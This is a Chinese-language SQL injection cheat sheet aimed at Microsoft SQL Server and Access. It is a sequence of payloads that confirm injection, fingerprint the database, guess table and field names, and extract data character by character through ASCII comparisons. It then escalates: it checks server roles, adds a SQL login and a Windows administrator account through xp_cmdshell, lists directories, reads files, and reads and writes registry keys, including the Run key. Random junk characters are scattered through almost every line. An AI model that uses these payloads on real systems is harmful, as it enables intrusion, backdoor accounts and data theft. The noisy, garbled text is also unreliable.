1.判断是否有注入;and 1=1 ;and 1=2 ER0B{b
2.初步判断是否是mssql ;and user>0 }
|
<
pZwM
3.注入参数是字符'and [查询条件] and ''=' s;-AZr)
lX"6m}~D
4.搜索时没过滤参数的'and [查询条件] and '%25'=' P~%+KxwZQ
&0xM 2J
5.判断数据库系统 "uFwsjz&B
dg_w$#
;and (select count(*) from sysobjects)>0 mssql 'c# }^@G
U>DCra;
;and (select count(*) from msysobjects)>0 access F6aC'<#/
KtGbpcS$f
!;0K=~(Y^
rR
8 6D
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1xInU_SPf
#/{3qPN?@
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K~B
=}.gU WV
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P>(FCX
IhOAMH1
9.(1)猜字段的ascii值(access) ?:G 3U\M
8|zOgn{
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 c3r`T{Kf
AREjS$
(2)猜字段的ascii值(mssql) /aIGq/;Y+a
]sJC%/
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 bkS"]q)>
'u~0rMe4})
10.测试权限结构(mssql) jcb&h@T8kv
B9Hib1<8
O8SE)R~
_
j`tR:
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- V1~@
m xqY
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <'N:K@Cs
</u=<^ire
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *QV"o{V
p4
=/rkq
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,Vw>3|C
hS&l4 \I'Z
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ncMzHw
&}
{ #g
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- um}q @BU
&BRa5`
;and 1=(select IS_MEMBER('db_owner'));-- iaLZ|\`3a
PjH'5Y
8g
Z)c\
@5ud{"|2
11.添加mssql和系统的帐户 2`TV(U@
1GqSY|FSGp
;exec master.dbo.sp_addlogin username;-- Ka_;~LS>(
;exec master.dbo.sp_password null,username,password;-- P=_fYA3
/KNDo^P
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^\&FowpP
om2N*W.gk
;exec master.dbo.xp_cmdshell 'net user username password :mW<
E
bzxf*b1I
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- I7~) q`
P%gA`j
;exec master.dbo.xp_cmdshell 'net user username password /add';-- EO~L.E%W
bwH[rT!n
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- WTJ{M$
~UZ3 lN\E
&*%x]fQ@
^
nI2<P
12.(1)遍历目录 "r*`*1
Q;g7<w17
;create table dirs(paths varchar(100), id int) IWq#W(yM
&N._}ts
;insert dirs exec master.dbo.xp_dirtree 'c:\' JO+tY[q
&T~X`{V]`
;and (select top 1 paths from dirs)>0 @OkoT:
EK Vcz'w
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0%dOi
ko
Kk6=61} A
bd~m'cob>
v"W*@7<`S
(2)遍历目录 "~^0
ir/uHN@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- `Z8k#z'bN
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 <|jh3Hlp
<r.QS[:h
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 owQ,op#
cw{TS
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 oJ\g0|\qwe
_p*8ke
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6{Q-]LOc[.
[&PF ;)i
b&mA1w[W]
#Pp:H/b
13.mssql中的存储过程 3ie
k>'T
RYjK4xT?Y/
xp_regenumvalues 注册表根键, 子键 h]s~w
eNK[P=-
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 oV0T
9K/EteS
xp_regread 根键,子键,键值名 2Y23!hw
[I3Nu8
;exec xp_regread 5dI=;L>D
V<W;[#"
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xdgAu
<Q\KS
xp_regwrite 根键,子键, 值名, 值类型, 值 vxj:Y'}
4,z|hY_*t
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 VMRfDaO9
!>n!Q*\(Ov
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 b4i=%]v8
XPO-u]<